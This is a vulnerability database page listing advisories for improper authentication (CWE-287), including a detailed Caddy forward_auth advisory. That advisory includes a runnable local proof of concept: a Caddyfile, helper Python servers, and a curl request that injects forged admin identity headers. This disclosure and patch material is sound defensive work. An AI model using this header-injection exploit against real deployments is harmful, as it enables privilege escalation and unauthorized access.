Common Weakness Enumeration

CWE-287

Discouraged

Improper Authentication

Abstraction: Class · Status: Draft

API response cwe.mitre.org

When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.

5966 vulnerabilities reference this CWE, most recent first.

GHSA-7QXH-M238-859C

Vulnerability from github – Published: 2024-06-10 15:31 – Updated: 2024-07-26 21:31
VLAI
Details

An issue was discovered in LIVEBOX Collaboration vDesk through v018. A Bypass of Two-Factor Authentication can occur under the /login/backup_code endpoint and the /api/v1/vdeskintegration/createbackupcodes endpoint, because the application allows a user to generate or regenerate the backup codes before checking the TOTP.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-45168"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-10T15:15:50Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered in LIVEBOX Collaboration vDesk through v018. A Bypass of Two-Factor Authentication can occur under the /login/backup_code endpoint and the /api/v1/vdeskintegration/createbackupcodes endpoint, because the application allows a user to generate or regenerate the backup codes before checking the TOTP.",
  "id": "GHSA-7qxh-m238-859c",
  "modified": "2024-07-26T21:31:15Z",
  "published": "2024-06-10T15:31:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-45168"
    },
    {
      "type": "WEB",
      "url": "https://www.gruppotim.it/it/footer/red-team.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7R33-3GH8-245Q

Vulnerability from github – Published: 2022-05-02 03:12 – Updated: 2022-05-02 03:12
VLAI
Details

Gale 0.99 and earlier does not properly check the return value from the OpenSSL EVP_VerifyFinal function, which allows remote attackers to bypass validation of the certificate chain via a malformed SSL/TLS signature for DSA and ECDSA keys, a similar vulnerability to CVE-2008-5077.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2009-0047"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2009-01-07T18:30:00Z",
    "severity": "MODERATE"
  },
  "details": "Gale 0.99 and earlier does not properly check the return value from the OpenSSL EVP_VerifyFinal function, which allows remote attackers to bypass validation of the certificate chain via a malformed SSL/TLS signature for DSA and ECDSA keys, a similar vulnerability to CVE-2008-5077.",
  "id": "GHSA-7r33-3gh8-245q",
  "modified": "2022-05-02T03:12:31Z",
  "published": "2022-05-02T03:12:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2009-0047"
    },
    {
      "type": "WEB",
      "url": "http://www.ocert.org/advisories/ocert-2008-016.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/499827/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2009/0046"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-7R3J-528Q-4G56

Vulnerability from github – Published: 2022-05-17 00:00 – Updated: 2022-05-26 00:01
VLAI
Details

A remote authentication bypass vulnerability was discovered in Aruba ClearPass Policy Manager version(s): 6.10.4 and below, 6.9.9 and below, 6.8.9-HF2 and below, 6.7.x and below. Aruba has released updates to ClearPass Policy Manager that address this security vulnerability.

Severity
10.0 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-23658"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-05-16T20:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "A remote authentication bypass vulnerability was discovered in Aruba ClearPass Policy Manager version(s): 6.10.4 and below, 6.9.9 and below, 6.8.9-HF2 and below, 6.7.x and below. Aruba has released updates to ClearPass Policy Manager that address this security vulnerability.",
  "id": "GHSA-7r3j-528q-4g56",
  "modified": "2022-05-26T00:01:24Z",
  "published": "2022-05-17T00:00:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-23658"
    },
    {
      "type": "WEB",
      "url": "https://www.arubanetworks.com/assets/alert/ARUBA-PSA-2022-007.txt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7R4P-VJF4-GXV4

Vulnerability from github – Published: 2026-03-06 23:38 – Updated: 2026-03-09 15:50
VLAI
Summary
Caddy forward_auth copy_headers Does Not Strip Client-Supplied Headers, Allowing Identity Injection and Privilege Escalation
Details

Summary

Caddy's forward_auth directive with copy_headers generates conditional header-set operations that only fire when the upstream auth service includes the named header in its response. No delete or remove operation is generated for the original client-supplied request header with the same name.

When an auth service returns 200 OK without one of the configured copy_headers headers, the client-supplied header passes through unchanged to the backend. Any requester holding a valid authentication token can inject arbitrary values for trusted identity headers, resulting in privilege escalation.

This is a regression introduced by PR #6608 in November 2024. All stable releases from v2.10.0 onward are affected.

Scope Argument

This is a bug in the source code of this repository, not a misconfiguration.

The operator uses forward_auth with copy_headers exactly as documented. The documentation contains no warning that client-supplied headers with the same names as copy_headers entries must also be stripped manually. The forward_auth directive is a security primitive whose stated purpose is to gate backend access behind an external auth service. A user of this directive reasonably expects that the backend cannot receive a client-controlled value for a header listed in copy_headers.

The bug is traceable to a specific commit: PR #6608 (merged November 4, 2024), which added a MatchNot guard to skip the Set operation when the auth response header is absent. This change, while fixing a legitimate UX issue (headers being set to empty strings), removed the incidental protection that the previous unconditional Set provided. Before PR #6608, setting a header to an empty/unresolved placeholder overwrote the attacker-supplied value. After PR #6608, the attacker's value survives.

The fix is a single-line code change in modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go.

Affected Versions

Version Vulnerable
<= v2.9.x No (old code overwrote client value with empty placeholder)
v2.10.0 (April 18, 2025) Yes — first stable release containing PR #6608
v2.10.1 Yes
v2.10.2 Yes
v2.11.0 Yes
v2.11.1 (February 23, 2026, current) Yes — unpatched

Package: github.com/caddyserver/caddy/v2 Affected file: modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go

Root Cause

The parseCaddyfile function builds one route per copy_headers entry. Each route uses a MatchNot guard and a Set operation:

// from modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go (v2.11.1, identical in v2.10.x)
copyHeaderRoutes = append(copyHeaderRoutes, caddyhttp.Route{
    MatcherSetsRaw: []caddy.ModuleMap{{
        "not": h.JSON(caddyhttp.MatchNot{MatcherSetsRaw: []caddy.ModuleMap{{
            "vars": h.JSON(caddyhttp.VarsMatcher{
                "{" + placeholderName + "}": []string{""},
            }),
        }}}),
    }},
    HandlersRaw: []json.RawMessage{caddyconfig.JSONModuleObject(
        handler, "handler", "headers", nil,
    )},
})

The route runs only when {http.reverse_proxy.header.X-User-Id} (the auth service's response header) is non-empty. When the auth service does not return X-User-Id, the placeholder is empty, the MatchNot guard fires, the route is skipped, and the original client-supplied X-User-Id header is never removed.

There is no Delete operation anywhere in this function.

Minimal Reproduction Config

Caddyfile (no redactions, as required):

{
    admin off
    auto_https off
    debug
}

:8080 {
    forward_auth 127.0.0.1:9091 {
        uri /
        copy_headers X-User-Id X-User-Role
    }
    reverse_proxy 127.0.0.1:9092
}

Reproduction Steps

No containers, VMs, or external services are used. All services run as local processes.

Step 1 — Start the auth service

Save as auth.py and run python3 auth.py in a terminal:

# auth.py
# Accepts any Bearer token, returns 200 OK with NO identity headers.
# Represents a stateless JWT validator that checks signature only.
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler

class H(BaseHTTPRequestHandler):
    def do_GET(self):
        auth = self.headers.get('Authorization', '')
        code = 200 if auth.startswith('Bearer ') else 401
        self.send_response(code)
        self.end_headers()
        sys.stdout.write(f'[auth] {self.command} {self.path} -> {code}\n')
        sys.stdout.flush()
    def log_message(self, *a): pass

HTTPServer(('127.0.0.1', 9091), H).serve_forever()

Step 2 — Start the backend

Save as backend.py and run python3 backend.py in a second terminal:

# backend.py
# Echoes the identity headers it receives.
import sys, json
from http.server import HTTPServer, BaseHTTPRequestHandler

class H(BaseHTTPRequestHandler):
    def do_GET(self):
        data = {
            'X-User-Id':   self.headers.get('X-User-Id',   '(absent)'),
            'X-User-Role': self.headers.get('X-User-Role', '(absent)'),
        }
        body = json.dumps(data, indent=2).encode()
        self.send_response(200)
        self.send_header('Content-Type', 'application/json')
        self.send_header('Content-Length', str(len(body)))
        self.end_headers()
        self.wfile.write(body)
        sys.stdout.write(f'[backend] saw: {data}\n')
        sys.stdout.flush()
    def log_message(self, *a): pass

HTTPServer(('127.0.0.1', 9092), H).serve_forever()

Step 3 — Start Caddy

caddy run --config Caddyfile --adapter caddyfile

Step 4 — Run the three test cases

Test A: No token — must be blocked (confirms auth is enforced)

curl -v http://127.0.0.1:8080/

Expected: HTTP/1.1 401

Test B: Valid token, no injected headers (baseline)

curl -v http://127.0.0.1:8080/ \
  -H "Authorization: Bearer token123"

Expected backend response:

{
  "X-User-Id":   "(absent)",
  "X-User-Role": "(absent)"
}

Test C: ATTACK — valid token plus injected identity headers

curl -v http://127.0.0.1:8080/ \
  -H "Authorization: Bearer token123" \
  -H "X-User-Id: admin" \
  -H "X-User-Role: superadmin"

Actual backend response (demonstrates the vulnerability):

{
  "X-User-Id":   "admin",
  "X-User-Role": "superadmin"
}

The backend receives the attacker-supplied identity values. The auth service accepted the token (correctly) but did not return X-User-Id or X-User-Role. Caddy skipped the Set operation due to the MatchNot guard but never deleted the original headers. The attacker-controlled values survived into the proxied request.

Test C is the proof of the vulnerability.

The attack requires only a valid (non-privileged) token. No admin account is needed.

Full Debug Log

Run Caddy with debug in the global block (included in the Caddyfile above). The relevant log lines from Test C will show:

DEBUG   http.handlers.reverse_proxy     selected upstream  {"dial": "127.0.0.1:9091"}
DEBUG   http.handlers.reverse_proxy     upstream responded  {"status": 200}
DEBUG   http.handlers.reverse_proxy     handling response   {"handler": "copy_headers"}

Note that no log line will show a header deletion because no deletion occurs. The X-User-Id and X-User-Role headers are never touched.

Impact

Any deployment using forward_auth with copy_headers where the auth service validates credentials without returning identity headers in its response. This is common in:

  • Stateless JWT validators (verify signature, no response headers)
  • Session validators that leave identity decoding to the backend
  • Auth services where only some requests return identity headers

Attack: 1. Attacker has any valid auth token 2. Attacker sends request with forged X-User-Id: admin and X-User-Role: superadmin 3. Auth service validates token, returns 200 OK, no identity headers 4. Caddy skips Set (placeholder empty), never deletes original headers 5. Backend receives X-User-Id: admin, X-User-Role: superadmin 6. Backend grants admin access

CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N = 8.1 High

Working Patch

--- a/modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go
+++ b/modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go
@@ -216,6 +216,25 @@ func parseCaddyfile(h httpcaddyfile.Helper) ([]httpcaddyfile.ConfigValue, error)
    copyHeaderRoutes := []caddyhttp.Route{}
    for _, from := range sortedHeadersToCopy {
        to := http.CanonicalHeaderKey(headersToCopy[from])
        placeholderName := "http.reverse_proxy.header." + http.CanonicalHeaderKey(from)
+
+       // Security fix: unconditionally delete the client-supplied header
+       // before the conditional set runs. Without this, a client that
+       // pre-supplies a header listed in copy_headers can inject arbitrary
+       // values when the auth service does not return that header, because
+       // the MatchNot guard below skips the Set entirely (leaving the
+       // original client value intact).
+       copyHeaderRoutes = append(copyHeaderRoutes, caddyhttp.Route{
+           HandlersRaw: []json.RawMessage{
+               caddyconfig.JSONModuleObject(
+                   &headers.Handler{
+                       Request: &headers.HeaderOps{
+                           Delete: []string{to},
+                       },
+                   },
+                   "handler", "headers", nil,
+               ),
+           },
+       })
+
        handler := &headers.Handler{
            Request: &headers.HeaderOps{
                Set: http.Header{

The delete route has no matcher, so it always runs. It fires before the existing MatchNot + Set route. The client-supplied header is cleared unconditionally. If the auth service provides the header, the subsequent Set then applies the correct value. If the auth service does not provide the header, the client's value is gone and the backend receives nothing.

This is a minimal, targeted fix with no impact on existing functionality when the auth service returns the headers.

Uniqueness Confirmation

The following were checked and confirmed not to cover this vulnerability:

  • All 6 GHSA advisories published 2026-02-23: GHSA-x76f-jf84-rqj8, GHSA-g7pc-pc7g-h8jh, GHSA-hffm-g8v7-wrv7, GHSA-879p-475x-rqh2, GHSA-4xrr-hq4w-6vf4, GHSA-5r3v-vc8m-m96g
  • GitHub issue #7459 (malformed Host header)
  • GitHub issue #6610 (template placeholder leakage in copy_headers — fixed by PR #6608, which introduced this regression)
  • All Caddy community forum threads on forward_auth, copy_headers, and header stripping
  • CVE-2026-25748 (authentik auth bypass — root cause is in authentik cookie parsing, not Caddy)
  • CVE-2024-21494, CVE-2024-21499 (caddy-security third-party plugin, not Caddy core)
  • PR #6608 comment thread (no security discussion)
  • cvedetails.com Caddy product listing (no matching CVE)

No prior report exists for this specific behavior.

References

  • Vulnerable file (v2.11.1): https://github.com/caddyserver/caddy/blob/v2.11.1/modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go
  • PR #6608 (introduced regression): https://github.com/caddyserver/caddy/pull/6608
  • Issue #6610 (related UX bug, fixed by PR #6608): https://github.com/caddyserver/caddy/issues/6610
  • forward_auth documentation: https://caddyserver.com/docs/caddyfile/directives/forward_auth

Fix

Fix PR - https://github.com/caddyserver/caddy/pull/7545

AI Disclosure

An LLM was used to polish the report.

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/caddyserver/caddy/v2/modules/caddyhttp/reverseproxy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.10.0"
            },
            {
              "fixed": "2.11.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-30851"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-345"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-06T23:38:44Z",
    "nvd_published_at": "2026-03-07T17:15:52Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nCaddy\u0027s `forward_auth` directive with `copy_headers` generates conditional header-set operations that only fire when the upstream auth service includes the named header in its response. No delete or remove operation is generated for the original client-supplied request header with the same name.\n\nWhen an auth service returns `200 OK` without one of the configured `copy_headers` headers, the client-supplied header passes through unchanged to the backend. Any requester holding a valid authentication token can inject arbitrary values for trusted identity headers, resulting in privilege escalation.\n\nThis is a regression introduced by PR #6608 in November 2024. All stable releases from v2.10.0 onward are affected.\n\n---\n\n## Scope Argument\n\nThis is a bug in the source code of this repository, not a misconfiguration.\n\nThe operator uses `forward_auth` with `copy_headers` exactly as documented. The documentation contains no warning that client-supplied headers with the same names as `copy_headers` entries must also be stripped manually. The `forward_auth` directive is a security primitive whose stated purpose is to gate backend access behind an external auth service. A user of this directive reasonably expects that the backend cannot receive a client-controlled value for a header listed in `copy_headers`.\n\nThe bug is traceable to a specific commit: PR #6608 (merged November 4, 2024), which added a `MatchNot` guard to skip the `Set` operation when the auth response header is absent. This change, while fixing a legitimate UX issue (headers being set to empty strings), removed the incidental protection that the previous unconditional `Set` provided. Before PR #6608, setting a header to an empty/unresolved placeholder overwrote the attacker-supplied value. After PR #6608, the attacker\u0027s value survives.\n\nThe fix is a single-line code change in `modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go`.\n\n---\n\n## Affected Versions\n\n| Version | Vulnerable |\n|---|---|\n| \u003c= v2.9.x | No (old code overwrote client value with empty placeholder) |\n| v2.10.0 (April 18, 2025) | Yes \u2014 first stable release containing PR #6608 |\n| v2.10.1 | Yes |\n| v2.10.2 | Yes |\n| v2.11.0 | Yes |\n| v2.11.1 (February 23, 2026, current) | Yes \u2014 unpatched |\n\n**Package:** `github.com/caddyserver/caddy/v2`\n**Affected file:** `modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go`\n\n---\n\n## Root Cause\n\nThe `parseCaddyfile` function builds one route per `copy_headers` entry. Each route uses a `MatchNot` guard and a `Set` operation:\n\n```go\n// from modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go (v2.11.1, identical in v2.10.x)\ncopyHeaderRoutes = append(copyHeaderRoutes, caddyhttp.Route{\n    MatcherSetsRaw: []caddy.ModuleMap{{\n        \"not\": h.JSON(caddyhttp.MatchNot{MatcherSetsRaw: []caddy.ModuleMap{{\n            \"vars\": h.JSON(caddyhttp.VarsMatcher{\n                \"{\" + placeholderName + \"}\": []string{\"\"},\n            }),\n        }}}),\n    }},\n    HandlersRaw: []json.RawMessage{caddyconfig.JSONModuleObject(\n        handler, \"handler\", \"headers\", nil,\n    )},\n})\n```\n\nThe route runs only when `{http.reverse_proxy.header.X-User-Id}` (the auth service\u0027s response header) is non-empty. When the auth service does not return `X-User-Id`, the placeholder is empty, the `MatchNot` guard fires, the route is skipped, and the original client-supplied `X-User-Id` header is never removed.\n\nThere is no `Delete` operation anywhere in this function.\n\n---\n\n## Minimal Reproduction Config\n\n**Caddyfile** (no redactions, as required):\n\n```\n{\n    admin off\n    auto_https off\n    debug\n}\n\n:8080 {\n    forward_auth 127.0.0.1:9091 {\n        uri /\n        copy_headers X-User-Id X-User-Role\n    }\n    reverse_proxy 127.0.0.1:9092\n}\n```\n\n---\n\n## Reproduction Steps\n\nNo containers, VMs, or external services are used. All services run as local processes.\n\n### Step 1 \u2014 Start the auth service\n\nSave as `auth.py` and run `python3 auth.py` in a terminal:\n\n```python\n# auth.py\n# Accepts any Bearer token, returns 200 OK with NO identity headers.\n# Represents a stateless JWT validator that checks signature only.\nimport sys\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\nclass H(BaseHTTPRequestHandler):\n    def do_GET(self):\n        auth = self.headers.get(\u0027Authorization\u0027, \u0027\u0027)\n        code = 200 if auth.startswith(\u0027Bearer \u0027) else 401\n        self.send_response(code)\n        self.end_headers()\n        sys.stdout.write(f\u0027[auth] {self.command} {self.path} -\u003e {code}\\n\u0027)\n        sys.stdout.flush()\n    def log_message(self, *a): pass\n\nHTTPServer((\u0027127.0.0.1\u0027, 9091), H).serve_forever()\n```\n\n### Step 2 \u2014 Start the backend\n\nSave as `backend.py` and run `python3 backend.py` in a second terminal:\n\n```python\n# backend.py\n# Echoes the identity headers it receives.\nimport sys, json\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\nclass H(BaseHTTPRequestHandler):\n    def do_GET(self):\n        data = {\n            \u0027X-User-Id\u0027:   self.headers.get(\u0027X-User-Id\u0027,   \u0027(absent)\u0027),\n            \u0027X-User-Role\u0027: self.headers.get(\u0027X-User-Role\u0027, \u0027(absent)\u0027),\n        }\n        body = json.dumps(data, indent=2).encode()\n        self.send_response(200)\n        self.send_header(\u0027Content-Type\u0027, \u0027application/json\u0027)\n        self.send_header(\u0027Content-Length\u0027, str(len(body)))\n        self.end_headers()\n        self.wfile.write(body)\n        sys.stdout.write(f\u0027[backend] saw: {data}\\n\u0027)\n        sys.stdout.flush()\n    def log_message(self, *a): pass\n\nHTTPServer((\u0027127.0.0.1\u0027, 9092), H).serve_forever()\n```\n\n### Step 3 \u2014 Start Caddy\n\n```bash\ncaddy run --config Caddyfile --adapter caddyfile\n```\n\n### Step 4 \u2014 Run the three test cases\n\n**Test A: No token \u2014 must be blocked (confirms auth is enforced)**\n\n```bash\ncurl -v http://127.0.0.1:8080/\n```\n\nExpected: `HTTP/1.1 401`\n\n---\n\n**Test B: Valid token, no injected headers (baseline)**\n\n```bash\ncurl -v http://127.0.0.1:8080/ \\\n  -H \"Authorization: Bearer token123\"\n```\n\nExpected backend response:\n```json\n{\n  \"X-User-Id\":   \"(absent)\",\n  \"X-User-Role\": \"(absent)\"\n}\n```\n\n---\n\n**Test C: ATTACK \u2014 valid token plus injected identity headers**\n\n```bash\ncurl -v http://127.0.0.1:8080/ \\\n  -H \"Authorization: Bearer token123\" \\\n  -H \"X-User-Id: admin\" \\\n  -H \"X-User-Role: superadmin\"\n```\n\nActual backend response (demonstrates the vulnerability):\n```json\n{\n  \"X-User-Id\":   \"admin\",\n  \"X-User-Role\": \"superadmin\"\n}\n```\n\nThe backend receives the attacker-supplied identity values. The auth service accepted the token (correctly) but did not return `X-User-Id` or `X-User-Role`. Caddy skipped the `Set` operation due to the `MatchNot` guard but never deleted the original headers. The attacker-controlled values survived into the proxied request.\n\n**Test C is the proof of the vulnerability.**\n\nThe attack requires only a valid (non-privileged) token. No admin account is needed.\n\n---\n\n## Full Debug Log\n\nRun Caddy with `debug` in the global block (included in the Caddyfile above). The relevant log lines from Test C will show:\n\n```\nDEBUG   http.handlers.reverse_proxy     selected upstream  {\"dial\": \"127.0.0.1:9091\"}\nDEBUG   http.handlers.reverse_proxy     upstream responded  {\"status\": 200}\nDEBUG   http.handlers.reverse_proxy     handling response   {\"handler\": \"copy_headers\"}\n```\n\nNote that no log line will show a header deletion because no deletion occurs. The `X-User-Id` and `X-User-Role` headers are never touched.\n\n---\n\n## Impact\n\nAny deployment using `forward_auth` with `copy_headers` where the auth service validates credentials without returning identity headers in its response. This is common in:\n\n- Stateless JWT validators (verify signature, no response headers)\n- Session validators that leave identity decoding to the backend\n- Auth services where only some requests return identity headers\n\nAttack:\n1. Attacker has any valid auth token\n2. Attacker sends request with forged `X-User-Id: admin` and `X-User-Role: superadmin`\n3. Auth service validates token, returns `200 OK`, no identity headers\n4. Caddy skips `Set` (placeholder empty), never deletes original headers\n5. Backend receives `X-User-Id: admin`, `X-User-Role: superadmin`\n6. Backend grants admin access\n\nCVSS v3.1: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N` = **8.1 High**\n\n---\n\n## Working Patch\n\n```diff\n--- a/modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go\n+++ b/modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go\n@@ -216,6 +216,25 @@ func parseCaddyfile(h httpcaddyfile.Helper) ([]httpcaddyfile.ConfigValue, error)\n \tcopyHeaderRoutes := []caddyhttp.Route{}\n \tfor _, from := range sortedHeadersToCopy {\n \t\tto := http.CanonicalHeaderKey(headersToCopy[from])\n \t\tplaceholderName := \"http.reverse_proxy.header.\" + http.CanonicalHeaderKey(from)\n+\n+\t\t// Security fix: unconditionally delete the client-supplied header\n+\t\t// before the conditional set runs. Without this, a client that\n+\t\t// pre-supplies a header listed in copy_headers can inject arbitrary\n+\t\t// values when the auth service does not return that header, because\n+\t\t// the MatchNot guard below skips the Set entirely (leaving the\n+\t\t// original client value intact).\n+\t\tcopyHeaderRoutes = append(copyHeaderRoutes, caddyhttp.Route{\n+\t\t\tHandlersRaw: []json.RawMessage{\n+\t\t\t\tcaddyconfig.JSONModuleObject(\n+\t\t\t\t\t\u0026headers.Handler{\n+\t\t\t\t\t\tRequest: \u0026headers.HeaderOps{\n+\t\t\t\t\t\t\tDelete: []string{to},\n+\t\t\t\t\t\t},\n+\t\t\t\t\t},\n+\t\t\t\t\t\"handler\", \"headers\", nil,\n+\t\t\t\t),\n+\t\t\t},\n+\t\t})\n+\n \t\thandler := \u0026headers.Handler{\n \t\t\tRequest: \u0026headers.HeaderOps{\n \t\t\t\tSet: http.Header{\n```\n\nThe `delete` route has no matcher, so it always runs. It fires before the existing `MatchNot + Set` route. The client-supplied header is cleared unconditionally. If the auth service provides the header, the subsequent `Set` then applies the correct value. If the auth service does not provide the header, the client\u0027s value is gone and the backend receives nothing.\n\nThis is a minimal, targeted fix with no impact on existing functionality when the auth service returns the headers.\n\n---\n\n## Uniqueness Confirmation\n\nThe following were checked and confirmed not to cover this vulnerability:\n\n- All 6 GHSA advisories published 2026-02-23: GHSA-x76f-jf84-rqj8, GHSA-g7pc-pc7g-h8jh, GHSA-hffm-g8v7-wrv7, GHSA-879p-475x-rqh2, GHSA-4xrr-hq4w-6vf4, GHSA-5r3v-vc8m-m96g\n- GitHub issue #7459 (malformed Host header)\n- GitHub issue #6610 (template placeholder leakage in copy_headers \u2014 fixed by PR #6608, which introduced this regression)\n- All Caddy community forum threads on `forward_auth`, `copy_headers`, and header stripping\n- CVE-2026-25748 (authentik auth bypass \u2014 root cause is in authentik cookie parsing, not Caddy)\n- CVE-2024-21494, CVE-2024-21499 (caddy-security third-party plugin, not Caddy core)\n- PR #6608 comment thread (no security discussion)\n- cvedetails.com Caddy product listing (no matching CVE)\n\nNo prior report exists for this specific behavior.\n\n---\n\n## References\n\n- Vulnerable file (v2.11.1): https://github.com/caddyserver/caddy/blob/v2.11.1/modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go\n- PR #6608 (introduced regression): https://github.com/caddyserver/caddy/pull/6608\n- Issue #6610 (related UX bug, fixed by PR #6608): https://github.com/caddyserver/caddy/issues/6610\n- forward_auth documentation: https://caddyserver.com/docs/caddyfile/directives/forward_auth\n\n---\n\n## Fix\nFix PR - https://github.com/caddyserver/caddy/pull/7545\n\n---\n\n## AI Disclosure\n\nAn LLM  was used to polish the report.",
  "id": "GHSA-7r4p-vjf4-gxv4",
  "modified": "2026-03-09T15:50:54Z",
  "published": "2026-03-06T23:38:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/caddyserver/caddy/security/advisories/GHSA-7r4p-vjf4-gxv4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30851"
    },
    {
      "type": "WEB",
      "url": "https://github.com/caddyserver/caddy/issues/6610"
    },
    {
      "type": "WEB",
      "url": "https://github.com/caddyserver/caddy/pull/6608"
    },
    {
      "type": "WEB",
      "url": "https://github.com/caddyserver/caddy/pull/7545"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/caddyserver/caddy"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Caddy forward_auth copy_headers Does Not Strip Client-Supplied Headers, Allowing Identity Injection and Privilege Escalation"
}

GHSA-7R8J-4MV7-77VP

Vulnerability from github – Published: 2023-07-25 09:30 – Updated: 2025-10-22 00:32
VLAI
Details

Ivanti Endpoint Manager Mobile (EPMM), formerly MobileIron Core, through 11.10 allows remote attackers to obtain PII, add an administrative account, and change the configuration because of an authentication bypass, as exploited in the wild in July 2023. A patch is available.

Severity
10.0 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-35078"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-07-25T07:15:10Z",
    "severity": "CRITICAL"
  },
  "details": "Ivanti Endpoint Manager Mobile (EPMM), formerly MobileIron Core, through 11.10 allows remote attackers to obtain PII, add an administrative account, and change the configuration because of an authentication bypass, as exploited in the wild in July 2023. A patch is available.",
  "id": "GHSA-7r8j-4mv7-77vp",
  "modified": "2025-10-22T00:32:45Z",
  "published": "2023-07-25T09:30:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-35078"
    },
    {
      "type": "WEB",
      "url": "https://forums.ivanti.com/s/article/CVE-2023-35078-Remote-unauthenticated-API-access-vulnerability"
    },
    {
      "type": "WEB",
      "url": "https://forums.ivanti.com/s/article/KB-Remote-unauthenticated-API-access-vulnerability-CVE-2023-35078"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-35078"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/alerts/2023/07/24/ivanti-releases-security-updates-endpoint-manager-mobile-epmm-cve-2023-35078"
    },
    {
      "type": "WEB",
      "url": "https://www.ivanti.com/blog/cve-2023-35078-new-ivanti-epmm-vulnerability"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7R9X-FP5C-2GH8

Vulnerability from github – Published: 2022-05-17 05:28 – Updated: 2022-05-17 05:28
VLAI
Details

Time Machine in Apple Mac OS X before 10.7.4 does not require continued use of SRP-based authentication after this authentication method is first used, which allows remote attackers to read Time Capsule credentials by spoofing the backup volume.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2012-0675"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2012-05-11T03:49:00Z",
    "severity": "MODERATE"
  },
  "details": "Time Machine in Apple Mac OS X before 10.7.4 does not require continued use of SRP-based authentication after this authentication method is first used, which allows remote attackers to read Time Capsule credentials by spoofing the backup volume.",
  "id": "GHSA-7r9x-fp5c-2gh8",
  "modified": "2022-05-17T05:28:59Z",
  "published": "2022-05-17T05:28:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2012-0675"
    },
    {
